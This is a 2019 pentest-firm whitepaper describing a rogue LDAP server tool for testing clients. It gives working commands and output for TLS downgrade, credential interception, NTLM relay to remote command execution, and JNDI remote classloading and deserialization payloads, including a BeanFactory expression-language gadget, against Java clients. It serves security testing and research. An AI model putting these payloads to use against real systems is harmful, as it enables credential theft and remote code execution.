THE PENTEST EXPERTS.

IT SECURITY KNOW-HOW

Moritz Bechler

LDAP SWISS ARMY KNIFE

A directory server for LDAP client analysis and exploitation

May 2019

Schaffhausenstraße 77, 72072 Tübingen, Germany

+49 (0)7071 - 40 78 56-0

info@syss.de

www.syss.de

1 Introduction

The Lightweight Directory Access Protocol (LDAP, [1]) is today's predominant protocol for directory services providing user or contact information. It forms a major part of Microsoft's Active Directory infrastructure and is therefore found in almost any corporate environment.

There is a wide range of software that interacts with such LDAP directories for authentication purposes or more generic information directories.

Ordinary LDAP servers are often complex to set up, may impose artificial limits on configuration or provided data and may not easily make available the data you are interested in.

The SySS software tool LDAP Swiss Army Knife presented in this paper allows you to launch LDAP server instances for different analysis purposes and scenarios within seconds.

2 Basics

The source code of the SySS LDAP server implementation LDAP Swiss Army Knife can be obtained from the corresponding SySS GitHub repository [2].

A Maven build with `mvn package verify` will produce a runnable all-in-one JAR file at `target/ldap-swak-[version]-all.jar`. The core protocol, client and server components are provided by the UnboundID LDAP SDK [3].

2.1 Your first LDAP server

Running the most basic LDAP server using the `fake` subcommand is as simple as:

```
> java -jar target/ldap-swak-[version]-all.jar fake -p 1389
11:41:02.853 INFO BaseCommand - Server base DNs: [dc=fake]
11:41:03.178 INFO FakeServer - Starting StartTLS listener on *:1389
```

This server can then be queried anonymously, but of course does not yet contain any data:

```
> ldapsearch -H ldap://localhost:1389 -x
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
```

```
# search result
search: 2
result: 0 Success

# numResponses: 1
```

The server can be populated either by loading a LDIF[1] file on server startup:

```
> cat load.ldif
# the base DN entry needs to be created
dn: dc=fake
objectClass: domain
dc: fake

dn: ou=Users,dc=fake
objectClass: organizationalUnit
ou: Users

dn: cn=foo,ou=Users,dc=fake
objectClass: person
cn: foo
sn: Foo

dn: cn=bar,ou=Users,dc=fake
objectClass: person
cn: bar
sn: Foo

> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --load=load.ldif
11:57:55.346 INFO BaseCommand - Server base DNs: [dc=fake]
11:57:55.714 INFO FakeServer - Starting StartTLS listener on *:1389
```

Or by runtime modification, starting with the server base DN and adding entries using your favorite LDAP client.[2] The base DN of the server can be changed with the `--server-base-dn` parameter.

Normally, the server will reject non-anonymous bind attempts. With the two parameters `--accept-user` and `--accept-pass`, credentials can be specified that will be accepted, allowing authenticated connections.

2.2 Unexpected objects and attributes

By default, the server will apply a simple schema definition[3]. This normally enforces that certain attributes and their syntax including length restrictions must be present.

If you want to test how a client deals with malformed data, for example, a client could make assumptions about the length of the returned value that results in a buffer overflow, these restrictions are in the way.

Therefore, it is possible to load an alternate LDIF schema using the `--schema` parameter, or to disable schema validation completely with `--schemaless`. The latter option has the downside that more advanced clients, which use the server-provided schema information, may no longer be functioning properly.

1 LDIF content format, `https://tools.ietf.org/html/rfc2849`
2 For example, Apache Directory Studio or OpenLDAP's `ldapmodify` command
3 `https://github.com/pingidentity/ldapsdk/blob/master/resource/standard-schema.ldif`

For example, the `mail` attribute would be limited to a length of 256 characters by all commonly used schema definitions. With the normal schema checking in place, loading a file containing a overly long value will be rejected.

```
attacker> cat load-invalid.ldif
# the base DN entry needs to be created
[...]

dn: cn=invalid,dc=fake
objectClass: person
cn: invalid
mail: [512 x A]
sn: Look at my mail

attacker> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --load=load-inval⤸
    id.ldif
12:53:33.405 INFO BaseCommand - Server base DNs: [dc=fake]
12:53:33.727 ERROR Main - Exception occured initializing server
com.unboundid.ldap.sdk.LDAPException: Unable to add entry 'cn=invalid,dc=fake' because⤸
     it violates the provided schema:  The entry contains attribute mail which is not ⤸
    allowed by its object classes and/or DIT content rule.

attacker> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --load=load-inval⤸
    id.ldif  --schemaless
12:55:53.597 INFO BaseCommand - Server base DNs: [dc=fake]
12:55:54.021 INFO FakeServer - Starting StartTLS listener on *:1389

victim> ldapsearch -H ldap://attacker:1389 -x mail
[...]
# invalid, fake
dn: cn=invalid,dc=fake
mail: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

2.3 Breaking transport security

LDAP is commonly deployed in two secured protocol variants: TLS tunneled (usually port 636) or with a StartTLS connection upgrade. Without further configuration, the server will automatically generate a self-signed certificate and offer StartTLS capabilities. The server can be switched into native TLS mode with the `--tls` flag.

If necessary, the parameters of the generated certificate can be changed using the various documented `--fakecert-*` options. Completely custom, possibly properly signed certificates can be provided as PEM files via the parameters `--key` and `--cert`. Alternatively, a Java or PKCS12 keystore can be specified that contains the key and certificate. These combinations can be used to test whether the client performs proper certificate validation.

A quite common client vulnerability is the lack or improper enforcement of transport security. In the case of the StartTLS variant, an active attacker will be able to easily downgrade to a plaintext connection if the client is not enforcing the use of StartTLS and the server indicates not to support it. This can be achieved with the `--nostarttls` flag.

In the following, a client that is not properly enforcing StartTLS usage is shown. If the server supports StartTLS, the connection will fail, as the provided certificate is not trusted.

```
attacker> java -jar target/ldap-swak-[version]-all.jar fake -p 1389
12:48:39.781 INFO BaseCommand - Server base DNs: [dc=fake]
12:48:40.319 INFO FakeServer - Starting StartTLS listener on *:1389
12:48:41.608 WARN BaseCommand - Connection closed with error localhost/0:0:0:0:0:0:0:1
    :51140
com.unboundid.ldap.sdk.LDAPException: An I/O error occurred while trying to read the
    response from the server:  SSLException(Unsupported record version Unknown-12.2),
    ldapSDKVersion=4.0.8, revision=28812

victim> ldapsearch -H ldap://localhost:1389 -x -Z
ldap_start_tls: Connect error (-11)
        additional info: (unknown error code)
ldap_result: Can't contact LDAP server (-1)
```

However, with disabled StartTLS, the same connection attempt to the attacker succeeds and eavesdropping as well as arbitrary manipulations are possible.

```
attacker> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --nostarttls
12:57:23.981 INFO BaseCommand - Server base DNs: [dc=fake]
12:57:24.039 INFO FakeServer - Starting plain listener on *:1389

victim> ldapsearch -H ldap://localhost:1389 -x -Z
ldap_start_tls: Server is unwilling to perform (53)
        additional info: No extended operation handler is defined for extended request
    OID '1.3.6.1.4.1.1466.20037'.
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 3
result: 0 Success

# numResponses: 1
```

2.4 Man-in-the-middle

Besides the standalone server mode, there is also a proxy mode available. In this mode, the client requests are forwarded to an upstream server specified by the `--server` option. This allows you to inspect traffic and credentials, terminate or strip transport security using existing data from a server. A secure connection to the upstream server can be enabled using either the `--proxy-ssl` or `--proxy-starttls` flag.

The following example starts one fake server and one proxy server with request logging enabled. A `ldapsearch` is performed against the proxy server. In this way, its parameters and results can be inspected.

```
> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --load=load.ldif
14:00:55.955 INFO BaseCommand - Server base DNs: [dc=fake]
14:00:56.508 INFO FakeServer - Starting StartTLS listener on *:1389

> java -jar target/ldap-swak-[version]-all.jar proxy -p 2389 --server=localhost:1389 ↩
    --request-log
14:01:32.461 INFO BaseCommand - Server base DNs: [dc=fake]
14:01:32.937 INFO ProxyServer - Starting StartTLS proxy on *:2389
[11/Apr/2019:14:01:36 +0200] CONNECT conn=0 from="0:0:0:0:0:0:0:1:45470" to="0:0:0:0:0↩
    :0:0:1:2389"
[11/Apr/2019:14:01:36 +0200] BIND REQUEST conn=0 op=0 msgID=1 version=3 dn="" authTyp↩
    e="SIMPLE"
[11/Apr/2019:14:01:36 +0200] BIND RESULT conn=0 op=0 msgID=1 resultCode=0 etime=19.306
[11/Apr/2019:14:01:36 +0200] SEARCH REQUEST conn=0 op=1 msgID=2 base="" scope=2 fi↩
    lter="(objectclass=*)" attrs="ALL"
Search result: dn: dc=fake
objectClass: domain
objectClass: top
dc: fake

Search result: dn: ou=Users,dc=fake
objectClass: organizationalUnit
objectClass: top
ou: Users

Search result: dn: cn=bar,ou=Users,dc=fake
objectClass: person
objectClass: top
cn: bar
sn: Foo

Search result: dn: cn=foo,ou=Users,dc=fake
[...]

[11/Apr/2019:14:01:36 +0200] SEARCH RESULT conn=0 op=1 msgID=2 resultCode=0 etime=5.23↩
    4 entriesReturned=4
```

3 Intercepting and relaying credentials

One of the major use cases of this tool is the interception of credentials provided by insecurely configured clients. All plaintext credentials received from a client, either via a simple or a SASL bind using the PLAIN mechanism, will be reported in the log file.

This feature can be used for demonstrating the impact of insecure client configurations with a man-in-the-middle attack. An alternate use case can be clients which allow the configuration of an arbitrary LDAP server but use pre-configured credentials. For example, SySS GmbH is aware of printer models that expose such a functionality without authentication. In this way, the stored credentials, in this case usually for an Active Directory account, can be obtained.

The following example shows a server recording two authentication attempts, one simple bind as well as one SASL PLAIN bind.[4]

```
attacker> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --load=load.ldif
14:36:47.883 INFO BaseCommand - Server base DNs: [dc=fake]
14:36:48.232 INFO FakeServer - Starting StartTLS listener on *:1389
14:37:02.118 INFO CredentialsOperationInterceptor - Intercepted credentials cn=tes⤸
    ter:test
14:37:05.154 INFO CredentialsOperationInterceptor - Intercepted credentials tester:tes⤸
    t

victim> ldapsearch -H ldap://attacker:1389 -x -D cn=tester -w test
ldap_bind: Invalid credentials (49)

victim> ldapsearch -H ldap://attacker:1389   -w test -Y PLAIN -Z -U tester
SASL/PLAIN authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)
```

3.0.1 Relaying NTLM

NTLM [7], Microsoft's legacy authentication protocol, uses a challenge-response mechanism. The design of this algorithm prevents an attacker from simply recording and later reusing the authentication data to get access to other services. However, an active relay attack is possible where the attacker takes a position in between the legitimate client and a target system and thereby gains access to the target system.

The use of SASL NTLM in LDAP authentication seems to be quite rare, but if it is used insufficiently protected on the transport level and an authentication with a high-privileged account can be relayed, it may result in system compromise.

The following example shows a relayed NTLM authentication, intercepting the local `Administrator` account. This even allows us to execute system commands with highest privileges on that remote target system.

```
attacker> java -jar target/ldap-swak-[version]-all.jar fake -p 1389 --ntlm-relay 192.1⤸
    68.56.101  --psexec-cmd "whoami" --psexec-cmd-log C:\\Windows\\Temp\\test.log ⤸
    --relay-read-from 'ADMIN$/Temp/test.log' --relay-read-retries=5
15:30:26.098 INFO BaseCommand - Server base DNs: [dc=fake]
15:30:26.514 INFO FakeServer - Starting StartTLS listener on *:1389
15:30:29.972 INFO PassTheHashNTLMSASLBindHandler - Have NTLM login Administrator⤸
    @DESKTOP-L96LL3H
15:30:29.982 INFO PassTheHashRunner - Command line %COMSPEC% /b /c start /b /min C:\⤸
    Windows\Temp\launch-1554989429917.cmd
15:30:29.997 INFO PassTheHashRunner - Service already exists
15:30:30.001 INFO PassTheHashRunner - Recreated service
15:30:30.015 INFO PassTheHashRunner - Service start timeout, expected: this is not an ⤸
    actual service binary
nt authority\system

victim> ldapsearch -H ldap://localhost:1389   -w verysecret -Y NTLM  -U Administrator
SASL/NTLM authentication started
SASL username: Administrator
```

4 Current versions of `ldapsearch` will not allow using SASL plain over a plaintext connection, therefore StartTLS has to be enabled and the certificate validation disabled for this call to work.

4 Exploiting Java clients

The Java Naming and Directory Interface (JNDI) subsystem provides an LDAP client contained in the Java standard library. However, this client has various unique features that can be exploited, in most cases possibly resulting in remote code execution.

Grouped under the `jndi` subcommand, various ready-to-use server variants can be started that exploit these individual security flaws.

4.1 JNDI ObjectFactory remote loading

Until recently,[5] a malicous server could cause remote classloading and thereby arbitrary code execution on the client system if a client was using certain JNDI methods. These are the `lookup()` method [4], searches with the `returningObj` flag set [4], and also many other JNDI methods, if an attacker is able to specify an arbitrary directory name [5]. Essentially, the client can be instructed to create a Java object in result. For that purpose, a factory class can be specified which used to be allowed to reside on a remote, possibly attacker-controlled classpath.

The following output shows setting up a server returning such references, and the victim making a lookup call.[6] The client will load the class `Exploit` from the specified URL classpath[7] and create an instance invoking arbitrary code:

```
attacker> java -jar target/ldap-swak-[version]-all.jar jndi -p 1389 --ref-class=Exploi⤸
    t --ref-codebase http://attacker/
11:00:15.763 INFO BaseCommand - Server base DNs: [dc=fake]
11:00:16.064 INFO JNDIServer - Starting StartTLS listener on *:1389
11:00:21.633 INFO JNDIOperationInterceptor - Sending remote ObjectFactory Reference cl⤸
    asspath http://attacker/ class Exploit

victim> java -cp jndiclient.jar -Dcom.sun.jndi.ldap.object.trustURLCodebase=true ⤸
    JndiLookup ldap://attacker:1389/o=test
Pnwed
Exception in thread "main" javax.naming.NamingException: problem generating object ⤸
    using object factory [Root exception is java.lang.ClassCastException: Exploit ⤸
    cannot be cast to javax.naming.spi.ObjectFactory]; remaining name 'ou=test'
[...]
```

```
public class JndiLookup {
  public static void main(String[] args ) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, args[0]);

        InitialDirContext ctx = new InitialDirContext(env);
        ctx.lookup("ou=test");

  }
}
```

Listing 4.1: Example JNDI client performing a `lookup()`

5 Patched in Java 11.0.1, 8u191, 7u201, and 6u211, tracked as CVE-2018-3149
6 The setting `com.sun.jndi.ldap.object.trustURLCodebase=true` is only required for patched Java versions.
7 Such a classpath contains the same package/directory structure as a JAR file.

4.2 JNDI deserialization of untrusted data

While the previously described attack has been closed by Java patches, the same class of methods still allows a server to provide a serialized Java object. This data will be deserialized by the client, often in an unchecked, insecure way. If exploitable gadgets are available on the classpath, this may be used to achieve arbitrary code execution on the client.

```
attacker> java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 /usr/
    bin/gnome-calculator > /tmp/commons-collections.ser

attacker> java -jar target/ldap-swak-[version]-all.jar jndi -p 138 --serialized /tmp/
    commons-collections.ser
11:33:04.423 INFO BaseCommand - Server base DNs: [dc=fake]
11:33:04.843 INFO JNDIServer - Starting StartTLS listener on *:1389
11:33:07.489 INFO JNDIOperationInterceptor - Sending serialized object

victim> java -cp $M2/commons-collections/commons-collections/3.1/commons-collections-3
    .1.jar:jndiclient.jar JndiLookup ldap://attacker:1389/o=test
```

4.3 Custom ObjectFactories

Michael Stepankin discovered that local, non-standard `ObjectFactory` implementations exist which can be exploited to execute arbitrary code on the client [6]. One such class is `org.apache.naming.factory.BeanFactory` which is widely available as it is included in the Apache Tomcat distribution. If this class is present, direct code execution on a current Java runtime will still be possible.

This attack, originally specified for RMI connections, can be applied to LDAP as well. However, usage of the custom reference type `org.apache.naming.ResourceRef` is required. At this point, the `Reference` object needs to be returned as serialized data manually for direct exploitation.

The original proof of concept was slightly modified and the serialized form of the `ResourceRef` dumped to a file.

```
public static void main(String[] args) throws Exception {
    //prepare payload that exploits unsafe reflection in org.apache.naming.factory.
    BeanFactory
    ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.
    apache.naming.factory.BeanFactory",null);
    //redefine a setter name for the 'x' property from 'setX' to 'eval', see 
    BeanFactory.getObjectInstance code
    ref.add(new StringRefAddr("forceString", "x=eval"));
    //expression language to execute /usr/bin/gnome-calculator
    ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.
    ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new␣
    java.lang.ProcessBuilder['(java.lang.String[])'](['/usr/bin/gnome-calculator']).
    start()\")"));

    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(bos);
    oos.writeObject(ref);

    System.out.println(Base64.getEncoder().encodeToString(bos.toByteArray()));
}
```

A server can be then be set up to return this serialized `Reference`. The client processes the reference and `BeanFactory` invokes the `ELProcessor.eval()` method with the expression ultimately executing a system command, in this case launching the calculator application.

```
attacker> java -jar target/ldap-swak-[version]-all.jar jndi -p 1389  --serialized /tmp
    /apache-ref-serialized
11:43:52.604 INFO BaseCommand - Server base DNs: [dc=fake]
11:43:53.131 INFO JNDIServer - Starting StartTLS listener on *:1389
11:43:59.158 INFO JNDIOperationInterceptor - Sending serialized object

victim> java -cp $M2/org/apache/tomcat/tomcat-catalina/9.0.17/tomcat-catalina-9.0.17.
    jar:$M2/org/mortbay/jasper/apache-el/9.0.14.1/apache-el-9.0.14.1.jar:jndiclient.ja
    r JndiLookup ldap://attacker:1389/o=test
```

SySS GmbH also discovered another exploitable `ObjectFactory` implementation in the `c3p0` library: `com.mchange.v2.naming.JavaBeanObjectFactory` allows to invoke remote classloading. However, as this library also contains a deserialization gadget, currently there does not seem to be any real benefit in using this technique.

4.4 Cross-protocol referrals

If configured to process LDAP referrals, JNDI clients will normally also accept referrals to other JNDI protocols including the RMI protocol [5].

This attack works with all types of client requests, including searches, if the connections are not properly secured on the transport level and the client configuration permits it.[8]

Analogous to Section 4.1 on Page 7, with older Java versions, it is possible to then invoke remote classloading through a JNDI `Reference`.[9]

Alternatively, as this protocol is based on Java serialization, a rogue server can then return serialized data to exploit the RMI client's insecure deserialization. Or, if available on the victim's classpath, a custom `ObjectFactory` can be used as described above.

```
attacker> java EvilRMIServerNew
Creating evil RMI registry on port 1097

attacker> java -jar target/ldap-swak-[version]-all.jar jndi -p 1389  --referral rmi://
    attacker:1097/Object
12:40:47.211 INFO BaseCommand - Server base DNs: [dc=fake]
12:40:47.650 INFO JNDIServer - Starting StartTLS listener on *:1389
12:41:11.514 INFO JNDIOperationInterceptor - Sending referral to rmi://attacker:1097/
    Object

victim> java -cp $M2/org/apache/tomcat/tomcat-catalina/9.0.17/tomcat-catalina-9.0.17.
    jar:$M2/org/mortbay/jasper/apache-el/9.0.14.1/apache-el-9.0.14.1.jar:jndiclient.ja
    r JndiSearchRef ldap://attacker:1389/o=test
Exception in thread "main" javax.naming.NotContextException: Cannot create context fo
    r: rmi://attacker:1097/Object; remaining name 'ou=test,o=test'
[...]
```

8 A new referral mode `follow-scheme` was added in Java 8u141, 7u151, and 6u161 that does not follow cross-protocol referrals, tracked as CVE-2017-10116.

9 The resulting RMI call always resolves the `Reference`, remote classloading was disabled by default in Java 8u121/7u131, tracked as CVE-2017-3241.

```
public class JndiSearchRef {
  public static void main(String[] args ) throws NamingException {
        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY,
            "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, args[0]);
        env.put(Context.REFERRAL, "follow");

        InitialDirContext ctx = new InitialDirContext(env);
        ctx.search("ou=test", "(objectClass=*)", new SearchControls());

  }
}
```

Listing 4.2: Example JNDI client performing a `search()`, referrals allowed

References

[1] Kurt Zeilenga, Lightweight Directory Access Protocol (LDAP): Technical Specification Road Map, RFC 4510 – https://tools.ietf.org/html/rfc4510, 2006 1

[2] Moritz Bechler, SySS LDAP Swiss Army Knife, https://github.com/SySS-Research/ldap-swak, 2019 1

[3] Ping Identity, UnboundID LDAP SDK, https://ldap.com/unboundid-ldap-sdk-for-java/ 1

[4] Alvaro Muñoz, Oleksandr Mirosh, A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dream Land, Black Hat USA 2016, https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf 2016 7

[5] Moritz Bechler, Java: Possible RCEs in X.509 certificate validation, https://mbechler.github.io/2018/01/20/Java-CVE-2018-2633/, 2018 7, 9

[6] Michael Stepankin, Exploiting JNDI Injections in Java, https://www.veracode.com/blog/research/exploiting-jndi-injections-java, 2019 8

[7] Microsoft Corporation, [MS-NLMP]: NT LAN Manager (NTLM) Authentication Protocol, https://winprotocoldoc.blob.core.windows.net/productionwindowsarchives/MS-NLMP/[MS-NLMP].pdf 6

THE PENTEST EXPERTS

SySS GmbH 72072 Tübingen Germany +49 (0)7071 - 40 78 56-0 info@syss.de

WWW.SYSS.DE